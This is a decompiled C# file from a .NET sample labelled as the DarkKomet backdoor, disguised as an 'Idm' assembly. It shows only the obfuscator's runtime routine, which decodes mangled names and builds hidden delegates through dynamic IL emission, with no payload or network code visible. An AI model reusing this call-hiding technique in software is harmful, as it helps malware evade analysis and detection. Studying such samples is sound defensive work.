// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0007;
using \u007F\u0004;
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;

namespace \u0007
{
  internal static class \u0006
  {
    private static ModuleHandle \u0001;
    private static char[] \u0002;

    public static void \u0003\u0002([In] int obj0)
    {
      Type typeFromHandle;
      FieldInfo[] fields;
      int index1;
      FieldInfo fieldInfo;
      string name;
      bool flag;
      int num1;
      int index2;
      char ch;
      int index3;
      MethodInfo methodFromHandle;
      Delegate @delegate;
      ParameterInfo[] parameters;
      int length;
      Type[] parameterTypes;
      int index4;
      DynamicMethod dynamicMethod;
      ILGenerator ilGenerator;
      int num2;
      try
      {
        try
        {
          typeFromHandle = Type.GetTypeFromHandle(\u0006.\u0001.ResolveTypeHandle(33554433 + obj0));
        }
        catch
        {
          return;
        }
        fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
        for (index1 = 0; index1 < fields.Length; ++index1)
        {
          fieldInfo = fields[index1];
          name = fieldInfo.Name;
          flag = false;
          num1 = 0;
          for (index2 = name.Length - 1; index2 >= 0; --index2)
          {
            ch = name[index2];
            if (ch == '~')
            {
              flag = true;
              break;
            }
            for (index3 = 0; index3 < 58; ++index3)
            {
              if ((int) \u0006.\u0002[index3] == (int) ch)
              {
                num1 = num1 * 58 + index3;
                break;
              }
            }
          }
          try
          {
            methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0006.\u0001.ResolveMethodHandle(num1 + 167772161));
          }
          catch
          {
            continue;
          }
          if (methodFromHandle.IsStatic)
          {
            try
            {
              @delegate = Delegate.CreateDelegate(fieldInfo.FieldType, methodFromHandle);
            }
            catch (Exception ex)
            {
              continue;
            }
          }
          else
          {
            parameters = methodFromHandle.GetParameters();
            length = parameters.Length + 1;
            parameterTypes = new Type[length];
            parameterTypes[0] = typeof (object);
            for (index4 = 1; index4 < length; ++index4)
              parameterTypes[index4] = parameters[index4 - 1].ParameterType;
            dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
            ilGenerator = dynamicMethod.GetILGenerator();
            ilGenerator.Emit(OpCodes.Ldarg_0);
            if (length > 1)
              ilGenerator.Emit(OpCodes.Ldarg_1);
            if (length > 2)
              ilGenerator.Emit(OpCodes.Ldarg_2);
            if (length > 3)
              ilGenerator.Emit(OpCodes.Ldarg_3);
            if (length > 4)
            {
              for (num2 = 4; num2 < length; ++num2)
                ilGenerator.Emit(OpCodes.Ldarg_S, num2);
            }
            ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
            ilGenerator.Emit(OpCodes.Ret);
            try
            {
              @delegate = dynamicMethod.CreateDelegate(typeFromHandle);
            }
            catch
            {
              continue;
            }
          }
          try
          {
            fieldInfo.SetValue((object) null, (object) @delegate);
          }
          catch
          {
          }
        }
      }
      catch (Exception ex)
      {
        object[] objArray = new object[20]
        {
          (object) typeFromHandle,
          (object) fieldInfo,
          (object) name,
          (object) flag,
          (object) num1,
          (object) index2,
          (object) ch,
          (object) index3,
          (object) methodFromHandle,
          (object) @delegate,
          (object) parameters,
          (object) length,
          (object) parameterTypes,
          (object) index4,
          (object) dynamicMethod,
          (object) ilGenerator,
          (object) num2,
          (object) fields,
          (object) index1,
          (object) obj0
        };
        \u0089\u0004.\u0081\u0005(ex, objArray);
        throw;
      }
    }

    static \u0006()
    {
      Type type1;
      try
      {
        \u0006.\u0002 = new char[58]
        {
          '\u0001',
          '\u0002',
          '\u0003',
          '\u0004',
          '\u0005',
          '\u0006',
          '\a',
          '\b',
          '\u000E',
          '\u000F',
          '\u0010',
          '\u0011',
          '\u0012',
          '\u0013',
          '\u0014',
          '\u0015',
          '\u0016',
          '\u0017',
          '\u0018',
          '\u0019',
          '\u001A',
          '\u001B',
          '\u001C',
          '\u001D',
          '\u001E',
          '\u001F',
          '\u007F',
          '\u0080',
          '\u0081',
          '\u0082',
          '\u0083',
          '\u0084',
          '\u0086',
          '\u0087',
          '\u0088',
          '\u0089',
          '\u008A',
          '\u008B',
          '\u008C',
          '\u008D',
          '\u008E',
          '\u008F',
          '\u0090',
          '\u0091',
          '\u0092',
          '\u0093',
          '\u0094',
          '\u0095',
          '\u0096',
          '\u0097',
          '\u0098',
          '\u0099',
          '\u009A',
          '\u009B',
          '\u009C',
          '\u009D',
          '\u009E',
          '\u009F'
        };
        type1 = typeof (MulticastDelegate);
        if ((object) type1 == null)
          return;
        \u0006.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
      }
      catch (Exception ex)
      {
        Type type2 = type1;
        \u0089\u0004.\u0018\u0005(ex, (object) type2);
        throw;
      }
    }
  }
}
